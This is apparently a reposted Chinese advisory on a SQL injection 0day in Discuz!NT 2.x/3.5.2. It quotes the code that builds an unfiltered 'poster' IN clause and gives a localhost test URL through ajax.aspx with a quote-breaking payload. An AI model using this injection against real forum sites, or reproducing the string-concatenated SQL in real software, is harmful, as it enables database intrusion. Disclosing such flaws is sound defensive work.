漏洞类型:SQL注入
漏洞描述:Discuz!NT 是康盛创想(Comsenz)旗下的一款功能强大的基于 ASP.NET 平台的社区软件,
Discuz!NT 2.x 3.5.2 SQL注入(0day)漏洞预警
。漏洞分析:ajaxtopicinfo.ascx用户控件 poster SQL注入漏洞
结合ajax.aspx调用任意用户控件漏洞
在文件 admin/UserControls/ ajaxtopicinfo.ascx 中
函数 GetCondition (WebsiteManage.cs) //62 行
if (posterlist != "")
{
string[] poster = posterlist.Split(',');
condition += " AND [poster] in (";
string tempposerlist = "";
foreach (string p in poster)
{
tempposerlist += "'" + p + "',";
}
if (tempposerlist != "")
tempposerlisttempposerlist = tempposerlist.Substring(0, tempposerlist.Length - 1);
condition += tempposerlist + ")";
posterlist变量没有过滤直接进入SQL语句查询,造成SQL注入
测试方法:
http://localhost:25594/admin/ajax.aspx?AjaxTemplate=ajaxtopicinfo.ascx&poster=1')
字符串 ') AND [tid]>=1 AND [tid]<=1' 后的引号不完整,
电脑资料
《Discuz!NT 2.x 3.5.2 SQL注入(0day)漏洞预警》(https://www.unjs.com)。由于错误信息被隐藏了,但SQL语句会被执行的